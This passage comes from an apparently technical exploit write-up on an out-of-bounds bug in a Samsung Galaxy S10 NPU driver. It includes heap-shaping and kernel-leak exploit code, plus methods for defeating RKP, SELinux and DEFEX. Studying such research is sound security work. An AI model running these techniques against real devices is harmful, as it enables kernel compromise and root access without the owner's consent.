.vertexioc_dqbuf = npu_vertex_dqbuf, 363 | .vertexioc_prepare = npu_vertex_prepare, 364 | .vertexioc_unprepare = npu_vertex_unprepare, 365 | .vertexioc_streamon = npu_vertex_streamon, 366 | .vertexioc_streamoff = npu_vertex_streamoff 367 | }; 368 | ``` 369 | 370 | Functions like `get_vs4l_graph64` is just wrapper of `copy_from_user`, so we just need to focus on `vertexioc_s_graph` and `vertexioc_s_format`. These functions are defined in `drivers/vision/npu/npu-vertex.c`. 371 | 372 | ```c++ 373 | int npu_session_s_graph(struct npu_session *session, struct vs4l_graph *info) 374 | { 375 | int ret = 0; 376 | BUG_ON(!session); 377 | BUG_ON(!info); 378 | ret = __get_session_info(session, info); 379 | if (unlikely(ret)) { 380 | npu_uerr("invalid in __get_session_info\n", session); 381 | goto p_err; 382 | } 383 | ret = __config_session_info(session); 384 | if (unlikely(ret)) { 385 | npu_uerr("invalid in __config_session_info\n", session); 386 | goto p_err; 387 | } 388 | return ret; 389 | p_err: 390 | npu_uerr("Clean-up buffers for graph\n", session); 391 | return ret; 392 | } 393 | ``` 394 | 395 | At first, `npu_session_s_graph` calls `__get_session_info` to map corresponding ION fd. As following code snippet shows, one thing you should remember is that `vmalloc` is used in this map operation. 396 | 397 | ```c++ 398 | void *ion_heap_map_kernel(struct ion_heap *heap, 399 | struct ion_buffer *buffer) 400 | { 401 | ... 402 | 403 | int npages = PAGE_ALIGN(buffer->size) / PAGE_SIZE; 404 | struct page **pages = vmalloc(sizeof(struct page *) * npages); 405 | 406 | ... 407 | 408 | return vaddr; 409 | } 410 | ``` 411 | 412 | Then, `__config_session_info` is called to config `npu_session` by parsing user supplied data. 413 | 414 | ```c++ 415 | int __config_session_info(struct npu_session *session) 416 | { 417 | ... 418 | 419 | ret = __pilot_parsing_ncp(session, &temp_IFM_cnt, &temp_OFM_cnt, &temp_IMB_cnt, &WGT_cnt); 420 | 421 | ... 422 | 423 | ret = __second_parsing_ncp(session, &temp_IFM_av, &temp_OFM_av, &temp_IMB_av, &WGT_av); 424 | ``` 425 | 426 | `struct npu_session` consists of various members, but one important member is `ncp_mem_buf`. 427 | 428 | ```c++ 429 | struct npu_memory_buffer { 430 | struct list_head list; 431 | struct dma_buf *dma_buf; 432 | struct dma_buf_attachment *attachment; 433 | struct sg_table *sgt; 434 | dma_addr_t daddr; 435 | void *vaddr; 436 | size_t size; 437 | int fd; 438 | }; 439 | 440 | ... 441 | 442 | struct npu_session { 443 | ... 444 | struct npu_memory_buffer *ncp_mem_buf; 445 | ... 446 | }; 447 | ``` 448 | 449 | `ncp_mem_buf->vaddr` is vmalloc'ed region which is returned from `ion_heap_map_kernel`, and user can insert data into that region by mmaping ION's DMA file descriptor. So, each parameters like `temp_IFM_cnt`, `tmp_IFM_av` is initialized by user data. 450 | 451 | 452 | 453 | ### ION allocator 454 | 455 | [ION allocator](https://lwn.net/Articles/480055/) is memory pool manager which allocates some sharable memory buffer between userspace, kernel, and co-processors. Main usage of ION allocator is to allocate DMA buffer and share that memory with various hardware components. 456 | 457 | ```c++ 458 | // drivers/staging/android/uapi/ion.h (Samsung Galaxy kernel source) 459 | 460 | enum ion_heap_type { 461 | ION_HEAP_TYPE_SYSTEM, 462 | ION_HEAP_TYPE_SYSTEM_CONTIG, 463 | ION_HEAP_TYPE_CARVEOUT, 464 | ION_HEAP_TYPE_CHUNK, 465 | ION_HEAP_TYPE_DMA, 466 | ION_HEAP_TYPE_CUSTOM, /* 467 | * must be last so device specific heaps always 468 | * are at the end of this enum 469 | */ 470 | ION_HEAP_TYPE_CUSTOM2, 471 | ION_HEAP_TYPE_HPA = ION_HEAP_TYPE_CUSTOM, 472 | }; 473 | 474 | ... 475 | 476 | struct ion_allocation_data { 477 | __u64 len; 478 | __u32 heap_id_mask; 479 | __u32 flags; 480 | __u32 fd; 481 | __u32 unused; 482 | }; 483 | ``` 484 | 485 | There are 2 important structures for ION allocator. `struct ion_allocation_data` is for userspace ioctl command to allocate ION buffer, `fd` member is set if allocation is successful. 486 | 487 | `enum ion_heap_type` is used to create specific type of memory pool in initialization phase. 488 | 489 | Userspace application can use ION allocator via `/dev/ion` interface like following code. 490 | 491 | The `heap_id_mask` member in `ion_allocation_data` is used to select specific ION memory we need. 492 | 493 | ```c++ 494 | int prepare_ion_buffer(uint64_t size) { 495 | int kr; 496 | int ion_fd = open("/dev/ion", O_RDONLY); 497 | struct ion_allocation_data data; 498 | memset(&data, 0, sizeof(data)); 499 | 500 | data.allocation.len = size; 501 | data.allocation.heap_id_mask = 1 << 1; 502 | data.allocation.flags = ION_FLAG_CACHED; 503 | if ((kr = ioctl(ion_fd, ION_IOC_ALLOC, &data)) < 0) { 504 | return kr; 505 | } 506 | 507 | return data.allocation.fd; 508 | } 509 | 510 | ... 511 | 512 | void work() { 513 | int dma_fd = prepare_ion_buffer(0x1000); 514 | void *ion_buffer = mmap(NULL, 0x7000, PROT_READ|PROT_WRITE, MAP_SHARED, dma_fd, 0); 515 | } 516 | ``` 517 | 518 | In our NPU case, allocated ION buffer is used in `ion_heap_map_kernel` to synchronize with NPU device. 519 | 520 | And by mmaping `data.allocation.fd`, that ION buffer is also sychronized to userspace buffer. 521 | 522 | 523 | 524 | # Vulnerability 525 | 526 | The vulnerability exists both on `__pilot_parsing_ncp` and `__second_parsing_ncp` functions. 527 | 528 | ```c++ 529 | int __second_parsing_ncp( 530 | struct npu_session *session, 531 | struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av, 532 | struct temp_av **temp_IMB_av, struct addr_info **WGT_av) 533 | { 534 | u32 address_vector_offset; 535 | u32 address_vector_cnt; 536 | u32 memory_vector_offset; 537 | u32 memory_vector_cnt; 538 | ... 539 | struct ncp_header *ncp; 540 | struct address_vector *av; 541 | struct memory_vector *mv; 542 | ... 543 | char *ncp_vaddr; 544 | ... 545 | ncp_vaddr = (char *)session->ncp_mem_buf->vaddr; 546 | ncp = (struct ncp_header *)ncp_vaddr; 547 | ... 548 | address_vector_offset = ncp->address_vector_offset; 549 | address_vector_cnt = ncp->address_vector_cnt; 550 | ... 551 | memory_vector_offset = ncp->memory_vector_offset; 552 | memory_vector_cnt = ncp->memory_vector_cnt; 553 | ... 554 | mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset); 555 | av = (struct address_vector *)(ncp_vaddr + address_vector_offset); 556 | ... 557 | for (i = 0; i < memory_vector_cnt; i++) { 558 | u32 memory_type = (mv + i)->type; 559 | u32 address_vector_index; 560 | u32 weight_offset; 561 | 562 | switch (memory_type) { 563 | case MEMORY_TYPE_IN_FMAP: 564 | { 565 | address_vector_index = (mv + i)->address_vector_index; 566 | if (!EVER_FIND_FM(IFM_cnt, *temp_IFM_av, address_vector_index)) { 567 | (*temp_IFM_av + (*IFM_cnt))->index = address_vector_index; 568 | (*temp_IFM_av + (*IFM_cnt))->size = (av + address_vector_index)->size; 569 | (*temp_IFM_av + (*IFM_cnt))->pixel_format = (mv + i)->pixel_format; 570 | (*temp_IFM_av + (*IFM_cnt))->width = (mv + i)->width; 571 | (*temp_IFM_av + (*IFM_cnt))->height = (mv + i)->height; 572 | (*temp_IFM_av + (*IFM_cnt))->channels = (mv + i)->channels; 573 | ... 574 | ``` 575 | 576 | But very critical out-of-bound read/write vulnerability occurs in `__second_parsing_ncp` function. As we said above section, `session->ncp_mem_buf->vaddr` consists of userdata. 577 | 578 | So, `address_vector_offset`, `address_vector_cnt`, `memory_vector_offset` and `memory_vector_cnt` are initialized by our data. As variable name implies, `address_vector_offset` and `memory_vector_offset` are used to calculate each vector memory address. 579 | 580 | But as there are no bound check, we can make `mv` and `av` point to arbitrary region in kernel space, and by using `mv` and `av`, we can fill `temp_IFM_av` with some unknown values in out of bound range. 581 | 582 | 583 | 584 | # Getting AAR/AAW 585 | 586 | Now, we have out-of-bound read/write, but how to make this to AAR/AAW primitives? 587 | 588 | At first, we need to know where we are to identify what objects in kernel we can read/write. As ION buffer is mapped to NPU session via vmalloc and out of bound vulnerability occur in this region, we need to know vmalloc's allocation algorithm and what object is allocated via vmalloc. 589 | 590 | 591 | 592 | ### vmalloc? 593 | 594 | In kernal, there are 2 main memory allocation APIs. 595 | 596 | - kmalloc 597 | - vmalloc 598 | 599 | Main difference between kmalloc and vmalloc is physical memory's continuity. The memory allocated by kmalloc is in physically contiguous memory and also in virtually contiguous memory. In the other hand, vmalloc allocates memory to virtually contiguous memory, but each pages are fragmented in physical memory. 600 | 601 | Very important feature in vmalloc is that vmalloc can allocate guard page. 602 | 603 | ```c++ 604 | // kernel/fork.c 605 | static unsigned long *alloc_thread_stack_node(struct task_struct *tsk, int node) 606 | { 607 | #ifdef CONFIG_VMAP_STACK 608 | void *stack; 609 | ... 610 | stack = __vmalloc_node_range(THREAD_SIZE, THREAD_ALIGN, 611 | VMALLOC_START, VMALLOC_END, 612 | THREADINFO_GFP, 613 | PAGE_KERNEL, 614 | 0, node, __builtin_return_address(0)); 615 | ... 616 | ``` 617 | 618 | As `THREAD_SIZE` is `(1 << 14)` in ARM64, each kernel thread stack consists of 4K size. But each kernel thread stack has lead/tail guard page like following one to prevent the kernel from single overflow vulnerability. 619 | 620 | ![](https://i.imgur.com/Sv4Rsip.png) 621 | 622 | So, when we tested this vulnerability early in this year, we realized that we have to shape heap to utilize this vulnerability. If we can successfully shape heap like following image, `GUARD PAGE` is not a hurdle to us because we have a powerful out-of-bound read/write! 623 | 624 | ![](https://i.imgur.com/XoSyWMa.png) 625 | 626 | 627 | ### Google Project Zero's Methodology 628 | 629 | As we mentioned above, to successfully exploit this bug, we need to shape heap like above image. P0 used a bunch of binder file descriptors and uesr threads to shape heap. Detailed method and code can be found on [P0's blog post](https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html). 630 | 631 | 632 | 633 | **Out of bounds addition** 634 | 635 | They directly used out-of-bound read/write in `__second_parsing_ncp` function. 636 | 637 | In `MEMORY_TYPE_WMASK` case, they can make `(av + address_vector_index)->m_addr` point to out of bounds of the vmap-ed buffer. So, they can read/write an arbitrary out-of-bounds address beyond the ION buffer via `(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;` statement. 638 | 639 | ```c++ 640 | int __second_parsing_ncp( 641 | struct npu_session *session, 642 | struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av, 643 | struct temp_av **temp_IMB_av, struct addr_info **WGT_av) 644 | { 645 | ... 646 | struct address_vector *av; 647 | ... 648 | address_vector_offset = ncp->address_vector_offset; /* u32 */ 649 | ... 650 | av = (struct address_vector *)(ncp_vaddr + address_vector_offset); 651 | ... 652 | case MEMORY_TYPE_WMASK: 653 | { 654 | // update address vector, m_addr with ncp_alloc_daddr + offset 655 | address_vector_index = (mv + i)->address_vector_index; 656 | weight_offset = (av + address_vector_index)->m_addr; 657 | if (weight_offset > (u32)session->ncp_mem_buf->size) { 658 | ret = -EINVAL; 659 | ... 660 | goto p_err; 661 | } 662 | (av + address_vector_index)->m_addr = weight_offset + ncp_daddr; 663 | .... 664 | ``` 665 | 666 | Of course, as their out-of-bounds addition primitive is restricted to `ncp_daddr`, one thing they should resolve is controlling `ncp_daddr` to get some desire value. Because the `ncp_daddr` is device address for ION buffer, they need to place ION buffer to the specific location with the specific size. They solved this problem by using `ION heap type 5` with a lot of tests, which typically allocates device addresses from low to high. 667 | 668 | 669 | 670 | **Bypass KASLR** 671 | 672 | They choose `pselect()` system call to utilize `copy_to_user()` in kernel space. In `pselect()` system call, target thread task is blocked before doing `copy_to_user()`, thus, in main exploit thread, they modify the size parameter of `copy_to_user()`. 673 | 674 | ```c++ 675 | int core_sys_select(int n, fd_set __user *inp, fd_set __user *outp, 676 | fd_set __user *exp, struct timespec64 *end_time) 677 | { 678 | ... 679 | ret = do_select(n, &fds, end_time); 680 | ... 681 | if (set_fd_set(n, inp, fds.res_in) || 682 | set_fd_set(n, outp, fds.res_out) || 683 | set_fd_set(n, exp, fds.res_ex)) 684 | ... 685 | ``` 686 | 687 | Very interest thing in this part is that even if `n` comes from register, the `n` must be spilled to stack when `do_select` is blocked. So, if spilled `n` is modified by out-of-bound write vulnerability, corresponding number of bytes will be copied to userspace. 688 | 689 | ```c++ 690 | static inline unsigned long __must_check 691 | set_fd_set(unsigned long nr, void __user *ufdset, unsigned long *fdset) 692 | { 693 | if (ufdset) 694 | return __copy_to_user(ufdset, fdset, FDS_BYTES(nr)); 695 | return 0; 696 | } 697 | ``` 698 | 699 | Although some optimization, inlining issue and sanity checks in `__copy_to_user()` exist, they successfully got uninitialized kernel stack contents. 700 | 701 | 702 | 703 | **Hijack control flow** 704 | 705 | Controlling stack contents to do ROP is quite complex part. Simply said, they used `pselect` system call again, because when `do_select()` is blocked by `poll_schedule_timeout()`, `n` can be modified by their out-of-bounds primitive. So, when unblocked, `for` loop will run over the `fds` stack frame, stack contents will be overwritten. 706 | 707 | ```c++ 708 | static int do_select(int n, fd_set_bits *fds, struct timespec64 *end_time) 709 | { 710 | ... 711 | retval = 0; 712 | for (;;) { 713 | ... 714 | inp = fds->in; outp = fds->out; exp = fds->ex; 715 | rinp = fds->res_in; routp = fds->res_out; rexp = fds->res_ex; 716 | // 717 | for (i = 0; i < n; ++rinp, ++routp, ++rexp) { 718 | ... 719 | in = *inp++; out = *outp++; ex = *exp++; 720 | all_bits = in | out | ex; 721 | if (all_bits == 0) { 722 | i += BITS_PER_LONG; 723 | continue; 724 | } 725 | // 726 | for (j = 0, bit = 1; j < BITS_PER_LONG; ++j, ++i, bit <<= 1) { 727 | struct fd f; 728 | if (i >= n) 729 | break; 730 | if (!(bit & all_bits)) 731 | continue; 732 | f = fdget(i); 733 | if (f.file) { 734 | ... 735 | if (f_op->poll) { 736 | ... 737 | mask = (*f_op->poll)(f.file, wait); 738 | } 739 | fdput(f); 740 | if ((mask & POLLIN_SET) && (in & bit)) { 741 | res_in |= bit; 742 | retval++; 743 | ... 744 | } 745 | ... 746 | } 747 | } 748 | if (res_in) 749 | *rinp = res_in; 750 | if (res_out) 751 | *routp = res_out; 752 | if (res_ex) 753 | *rexp = res_ex; 754 | cond_resched(); 755 | } 756 | ... 757 | if (retval || timed_out || signal_pending(current)) 758 | break; 759 | ... 760 | if (!poll_schedule_timeout(&table, TASK_INTERRUPTIBLE, 761 | to, slack)) 762 | timed_out = 1; 763 | } 764 | ... 765 | return retval; 766 | } 767 | ``` 768 | 769 | After getting ROP in kernel, they used eBPF system, because if we can pass arbitrary X1 register value to `___bpf_prog_run()`, we can make arbitrary address read/write and kernel function call by executing a sequence of eBPF instructions. 770 | 771 | 772 | 773 | ### Our Methodology 774 | 775 | We also shaped heap like what P0 did, but instead of using binder's fd and user threads, we used `fork()` system call, because it also call `vmalloc` in kernel routine. As we developed this exploit on pure Samsung Galaxy S10 SM-973N, all informations we can get is from `adb bugreport` command. 776 | 777 | ```c++ 778 | ... 779 | 780 | atomic_int *wait_count; 781 | 782 | int parent_pipe[2]; 783 | int child_pipe[2]; 784 | int trig_pipe[2]; 785 | 786 | void *read_sleep_func(void *arg){ 787 | atomic_fetch_add(wait_count, 1); 788 | syscall(__NR_read, trig_pipe[0], 0x41414141, 0x13371337, 0x42424242, 0x43434343); 789 | 790 | return NULL; 791 | } 792 | 793 | ... 794 | 795 | int main(int argc, char *argv[]) { 796 | ... 797 | pipe(parent_pipe); 798 | pipe(child_pipe); 799 | pipe(trig_pipe); 800 | ... 801 | *wait_count = 0; 802 | int par_pid = 0; 803 | if (!(par_pid = fork())) { 804 | for (int i = 0; i < 0x2000; i++) { 805 | int pid = 0; 806 | if (!(pid = fork())){ 807 | read_sleep_func(NULL); 808 | return 0; 809 | } 810 | } 811 | return 0; 812 | } 813 | ... 814 | if(leak(0xeec8) != 0x41414141){ 815 | write(trig_pipe[1], "A", 1); // child process kill 816 | for (int i = ion_fd; i < 0x3ff; i++) { 817 | close(i); 818 | } 819 | munmap(ncp_page, 0x7000); 820 | goto retry; 821 | } 822 | ... 823 | ``` 824 | 825 | By very heuristic way that inspecting whether kernel crash occurs or not, we can finally place our child's kernel stack after the ION buffer.. 826 | 827 | 828 | 829 | **Initial kernel memory leak** 830 | 831 | Even though there are various information leak vectors, we used `VS4L_VERTEXIOC_S_FORMAT` ioctl interface to call `npu_session_format` function in kernel space. 832 | 833 | ```c++ 834 | int npu_session_format(struct npu_queue *queue, struct vs4l_format_list *flist) 835 | { 836 | ... 837 | ncp_vaddr = (char *)session->ncp_mem_buf->vaddr; 838 | ncp = (struct ncp_header *)ncp_vaddr; 839 | 840 | address_vector_offset = ncp->address_vector_offset; 841 | address_vector_cnt = ncp->address_vector_cnt; 842 | 843 | memory_vector_offset = ncp->memory_vector_offset; 844 | memory_vector_cnt = ncp->memory_vector_cnt; 845 | 846 | mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset); 847 | av = (struct address_vector *)(ncp_vaddr + address_vector_offset); 848 | 849 | formats = flist->formats; 850 | 851 | if (flist->direction == VS4L_DIRECTION_IN) { 852 | FM_av = session->IFM_info[0].addr_info; 853 | FM_cnt = session->IFM_cnt; 854 | } 855 | ... 856 | for (i = 0; i < FM_cnt; i++) { 857 | ... 858 | bpp = (formats + i)->pixel_format; 859 | channels = (formats + i)->channels; 860 | width = (formats + i)->width; 861 | height = (formats + i)->height; 862 | cal_size = (bpp / 8) * channels * width * height; 863 | ... 864 | #ifndef SYSMMU_FAULT_TEST 865 | if ((FM_av + i)->size > cal_size) { 866 | npu_uinfo("in_size(%zu), cal_size(%u) invalid\n", session, (FM_av + i)->size, cal_size); 867 | ret = NPU_ERR_DRIVER(NPU_ERR_SIZE_NOT_MATCH); 868 | goto p_err; 869 | } 870 | #endif 871 | } 872 | ... 873 | ``` 874 | 875 | As `(FM_av + i)->size` points to some out of bound range value and `cal_size` consists of pure user supplied data, we can guess what value `(FM_av + i)->size`. 876 | 877 | Some people can ask "how to guess `(FM_av + i)->size`'s value? Because we can't get that value into userspace !". 878 | 879 | Yeap. But even though we can't directly get kernel value into userspace application, we can guess it via [binary search](https://en.wikipedia.org/wiki/Binary_search_algorithm) based on ioctl's return value. Like [blind sql injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection), if `(FM_av + i)->size > cal_size` is not satisfied, ioctl interface returns failure value to user. So, we can get kernel base and kernel stack address by using this method. 880 | 881 | ```c++ 882 | unsigned long long _leak(u32 off){ 883 | int res; 884 | struct vs4l_format format; 885 | 886 | leak_retry: 887 | fd_clear(); 888 | if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0){ 889 | goto leak_retry; 890 | } 891 | 892 | memset(&format, 0, sizeof(format)); 893 | 894 | format.stride = 0x0; 895 | format.cstride = 0x0; 896 | format.height = 1; 897 | format.width = 1; 898 | format.pixel_format = 8; 899 | 900 | unsigned long long g = (0xffffffff) / 2; 901 | unsigned long long h = 0xffffffff; 902 | unsigned long long l = 1; 903 | 904 | ncp_page->memory_vector_offset = 0x200; 905 | ncp_page->memory_vector_cnt = 0x1; 906 | ncp_page->address_vector_offset = off; 907 | ncp_page->address_vector_cnt = 0x1; 908 | 909 | if (npu_graph_ioctl() < 0){ 910 | close(npu_fd); 911 | fd_clear(); 912 | npu_fd = -1; 913 | goto leak_retry; 914 | } 915 | 916 | unsigned long long old = g; 917 | format.channels = g; 918 | res = npu_format_ioctl(&format); 919 | while (1) { 920 | if (!res) { 921 | h = g - 1; 922 | g = (h + l)/2; 923 | } else { 924 | l = g + 1; 925 | g = (h + l) / 2; 926 | close(npu_fd); 927 | fd_clear(); 928 | 929 | if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0) { 930 | perror("open(\"/dev/vertext10\") : "); 931 | goto leak_retry; 932 | } 933 | 934 | ncp_page->memory_vector_offset = 0x200; 935 | ncp_page->memory_vector_cnt = 0x1; 936 | ncp_page->address_vector_offset = off; 937 | ncp_page->address_vector_cnt = 0x1; 938 | if (npu_graph_ioctl() < 0) { 939 | close(npu_fd); 940 | npu_fd = -1; 941 | goto leak_retry; 942 | } 943 | } 944 | if (old == g) { 945 | break; 946 | } 947 | old = g; 948 | memset(&format, 0, sizeof(format)); 949 | format.stride = 0x0; 950 | format.cstride = 0x0; 951 | format.height = 1; 952 | format.width = 1; 953 | format.pixel_format = 8; 954 | format.channels = g; 955 | res = npu_format_test(&format); 956 | } 957 | 958 | close(npu_fd); 959 | npu_fd = -1; 960 | return g > 0 ? g+1 : 0; 961 | } 962 | ``` 963 | 964 | 965 | 966 | **Utilize out-of-bound read/write** 967 | 968 | Unlike P0, we don't have any restrictions for using out-of-bounds read/write, so our arbitrary address read/write and kernel function call are based on pure ROP. 969 | 970 | ![](https://i.imgur.com/JqRfCZd.png) 971 | 972 | As similar to P0's `pselect() `, `read()`/`write()` system call also blocked until target file descriptor is ready, so function arguments are spilled to stack. We can identify target function's stack frame like above signature value like 0x41414141. Using blocking mechanism in read/write with pipe file descriptor, we can use `copy_to_user_fromio()`/`copy_from_user_toio()` interactively with child process. 973 | 974 | 975 | 976 | # Getting Root Privilege? 977 | 978 | As we mentioned early of this article, due to RKP, simply overwriting cred structure is not available in Samsung Galaxy devices. Therefore, to get root prilvilege, you can't use any old methods used in linux kernel or Google Nexus/Pixel kernel. 979 | 980 | - Can't overwrite `cred` structure. 981 | - Can't forge credential related structure. 982 | 983 | 984 | 985 | But all we need now is root privileged code execution to bypass `UID` check for further exploitation. As most of previous exploit methods focused on forging current process's credential, people are obsessed with the method and don't seem to think of new way. 986 | 987 | Although so many resources are protected by Samsung's security mechanism, task's kernel stack is writable. So, by traversing `init` process's `task_struct`, we can find any task's kernel stack ! 988 | 989 | ![](https://i.imgur.com/RtPc8vj.png) 990 | 991 | 992 | 993 | we can get the task's stack address via `void *stack` member in `task_struct` structure. By modifying target task's kernel stack via AAW primitive, we can do ROP as other task's privilege. But, before doing ROP in target task, we need to bypass SELinux. 994 | 995 | 996 | 997 | # Bypass SELinux 998 | 999 | As SELinux is default on every Android system now, even if attacker gets root privilege, what he can do depends on SELinux policy. In Google Android devices, if attacker successfully gets AAR/AAW primitives, SELinux can be easily bypassed by just overwriting `selinux_enforcing` to 0. But, following features are updated to Samsung's SELinux. 1000 | 1001 | - `selinux_enforcing` is now in `kdp_ro` section. 1002 | - Disabling SELinux policy reloading. 1003 | 1004 | - Permissive domain is totally removed. 1005 | 1006 | 1007 | 1008 | **Samsung Galaxy S7** 1009 | 1010 | [In KeenLab's Blackhat 2017 WP](https://www.blackhat.com/docs/us-17/thursday/us-17-Shen-Defeating-Samsung-KNOX-With-Zero-Privilege-wp.pdf), they bypassed SELinux on Samsung Galaxy S7 by reloading SELinux policy. `ss_initialized` variable is not protected by RKP, they could overwrite `ss_initialized` to 0, which means SELinux is not initialized yet. After overwriting it, they reloaded SELinux policy by using libsepol API. 1011 | 1012 | ```c++ 1013 | static struct sidtab sidtab; 1014 | struct policydb policydb; 1015 | #if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP) 1016 | int ss_initialized __kdp_ro; 1017 | #else 1018 | int ss_initialized; 1019 | #endif 1020 | ``` 1021 | 1022 | But, in latest Samsung Galaxy kernel source, `ss_initialized` is protected by RKP, so above method can't be used anymore. 1023 | 1024 | 1025 | 1026 | **Samsung Galaxy S8** 1027 | 1028 | [In IceSwordLab's Samsung Galaxy S8 rooting article](https://www.iceswordlab.com/2018/04/20/samsung-root/), they overwrite `security_hook_heads`, because this variable is also not protected by RKP, which means it is read/write variable. But as follwoing code snippet shows, `security_hook_heads` is now in read-only protected. 1029 | 1030 | ```c++ 1031 | // security/security.c 1032 | struct security_hook_heads security_hook_heads __lsm_ro_after_init; 1033 | ``` 1034 | 1035 | 1036 | 1037 | **Make SELinux policy reload again** 1038 | 1039 | Although `ss_initialized` variable is in RKP, we can still bypass SELinux by abusing SELinux policy related API in kernel space. At first, we need to analyze `security_load_policy` function. 1040 | 1041 | ```c++ 1042 | // security/selinux/ss/services.c 1043 | int security_load_policy(void *data, size_t len) 1044 | { 1045 | struct policydb *oldpolicydb, *newpolicydb; 1046 | struct sidtab oldsidtab, newsidtab; 1047 | struct selinux_mapping *oldmap, *map = NULL; 1048 | struct convert_context_args args; 1049 | u32 seqno; 1050 | u16 map_size; 1051 | int rc = 0; 1052 | struct policy_file file = { data, len }, *fp = &file; 1053 | 1054 | oldpolicydb = kzalloc(2 * sizeof(*oldpolicydb), GFP_KERNEL); 1055 | if (!oldpolicydb) { 1056 | rc = -ENOMEM; 1057 | goto out; 1058 | } 1059 | newpolicydb = oldpolicydb + 1; 1060 | 1061 | if (!ss_initialized) { 1062 | avtab_cache_init(); 1063 | ebitmap_cache_init(); 1064 | rc = policydb_read(&policydb, fp); 1065 | if (rc) { 1066 | avtab_cache_destroy(); 1067 | ebitmap_cache_destroy(); 1068 | goto out; 1069 | } 1070 | 1071 | ... 1072 | 1073 | #if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP) 1074 | uh_call(UH_APP_RKP, RKP_KDP_X60, (u64)&ss_initialized, 1, 0, 0); 1075 | 1076 | ... 1077 | ``` 1078 | 1079 | If SELinux is not initialized, `avtab_cache` and `ebitmap_cache` is initialized via `kmem_cache_zalloc`. `avtab` means `access vector table` which represents the `type enforcement tables`, and `ebitmap` means `extensible bitmap` which represents `sets of values, such as types, roles, categories, and classes`. 1080 | 1081 | 1082 | 1083 | So, as if `ss_initialized` variable is 0, if we call `avtab_cache_init` and `ebitmap_cache_init` at first, because `avtab_node_cachep`, `avtab_xperms_cachep`, and `ebitmap_node_cachep` are not protected by RKP, these variables are reinitialized. 1084 | 1085 | 1086 | 1087 | Next, copy our custom SELinux policy data to kernel space. Then call `security_load_policy` with our custom policy data. After clearing `avc_cache`, all SELinux policy is reloaded by our policy data. 1088 | 1089 | 1090 | 1091 | # Defeat DEFEX 1092 | 1093 | Even if we successfully gain root privilege by exploiting kernel and bypass SELinux, due to [DEFEX](https://en.wikipedia.org/wiki/Samsung_Knox#Samsung_Defex) which is introduced after Oreo(Android 8), process's accessibility is still restricted. 1094 | 1095 | This new protection prevents any process to run as root, based on `defex_static_rules`. 1096 | 1097 | ```c++ 1098 | // security/samsung/defex_lsm/defex_rules.c 1099 | const struct static_rule defex_static_rules[] = { 1100 | {feature_ped_path,"/"}, 1101 | {feature_safeplace_status,"1"}, 1102 | {feature_immutable_status,"1"}, 1103 | {feature_ped_status,"1"}, 1104 | #ifndef DEFEX_USE_PACKED_RULES 1105 | {feature_ped_exception,"/system/bin/run-as"}, /* DEFAULT */ 1106 | {feature_safeplace_path,"/init"}, 1107 | {feature_safeplace_path,"/system/bin/init"}, 1108 | {feature_safeplace_path,"/system/bin/app_process32"}, 1109 | {feature_safeplace_path,"/system/bin/app_process64"}, 1110 | 1111 | ... 1112 | ``` 1113 | 1114 | `task_defex_enforce()` function internally calls `task_defex_check_creds()` to check whether target process is weird or not. As following code shows, it will check 3 things to determine ALLOW or DENY. 1115 | 1116 | 1. Whether current process is root (uid == 0 || gid == 0) 1117 | 2. Whether parent process is not root. 1118 | 3. Whether current process is DEFEX protected process. 1119 | 1120 | ```c++ 1121 | // security/defex_lsm/defex_procs.c 1122 | #ifndef CONFIG_SECURITY_DSMS 1123 | static int task_defex_check_creds(struct task_struct *p) 1124 | #else 1125 | static int task_defex_check_creds(struct task_struct *p, int syscall) 1126 | #endif /* CONFIG_SECURITY_DSMS */ 1127 | { 1128 | ... 1129 | if (CHECK_ROOT_CREDS(p) && !CHECK_ROOT_CREDS(p->real_parent) && 1130 | task_defex_is_secured(p)) { 1131 | set_task_creds(p->pid, dead_uid, dead_uid, dead_uid); 1132 | if (p->tgid != p->pid) 1133 | set_task_creds(p->tgid, dead_uid, dead_uid, dead_uid); 1134 | case_num = 4; 1135 | goto show_violation; 1136 | } 1137 | ... 1138 | ``` 1139 | 1140 | Therefore, if above 3 conditions are satisfied, DEFEX will return `-DEFEX_DENY` with error logs. And `task_defex_enforce()` is called in very basic operations, so if untrusted app gains root privilege by exploiting kernel, it's basic operations like open/read/write/execve are restricted. 1141 | 1142 | ```c++ 1143 | // security/samsung/defex_lsm/defex_procs.c 1144 | int task_defex_enforce(struct task_struct *p, struct file *f, int syscall) 1145 | { 1146 | int ret = DEFEX_ALLOW; 1147 | int feature_flag; 1148 | const struct local_syscall_struct *item; 1149 | struct defex_context dc; 1150 | 1151 | ... 1152 | 1153 | #ifdef DEFEX_SAFEPLACE_ENABLE 1154 | /* Safeplace feature */ 1155 | if (feature_flag & FEATURE_SAFEPLACE) { 1156 | if (syscall == __DEFEX_execve) { 1157 | ret = task_defex_safeplace(&dc); 1158 | if (ret == -DEFEX_DENY) { 1159 | if (!(feature_flag & FEATURE_SAFEPLACE_SOFT)) { 1160 | kill_process(p); 1161 | goto do_deny; 1162 | } 1163 | } 1164 | } 1165 | } 1166 | #endif /* DEFEX_SAFEPLACE_ENABLE */ 1167 | 1168 | ... 1169 | 1170 | fs/exec.c: 1171 | 1983 #ifdef CONFIG_SECURITY_DEFEX 1172 | 1984: retval = task_defex_enforce(current, file, -__NR_execve); 1173 | 1985 if (retval < 0) { 1174 | 1175 | fs/open.c: 1176 | 1083 #ifdef CONFIG_SECURITY_DEFEX 1177 | 1084: if (!IS_ERR(f) && task_defex_enforce(current, f, -__NR_openat)) { 1178 | 1085 fput(f); 1179 | 1180 | fs/read_write.c: 1181 | 568 #ifdef CONFIG_SECURITY_DEFEX 1182 | 569: if (task_defex_enforce(current, file, -__NR_write)) 1183 | 570 return -EPERM; 1184 | ``` 1185 | 1186 | And `call_usermodehelper` also uses `do_execve` as following code shows, old way using this method to getting privileged method is blocked by DEFEX. 1187 | 1188 | ```c++ 1189 | static int call_usermodehelper_exec_async(void *data) 1190 | { 1191 | ... 1192 | new = 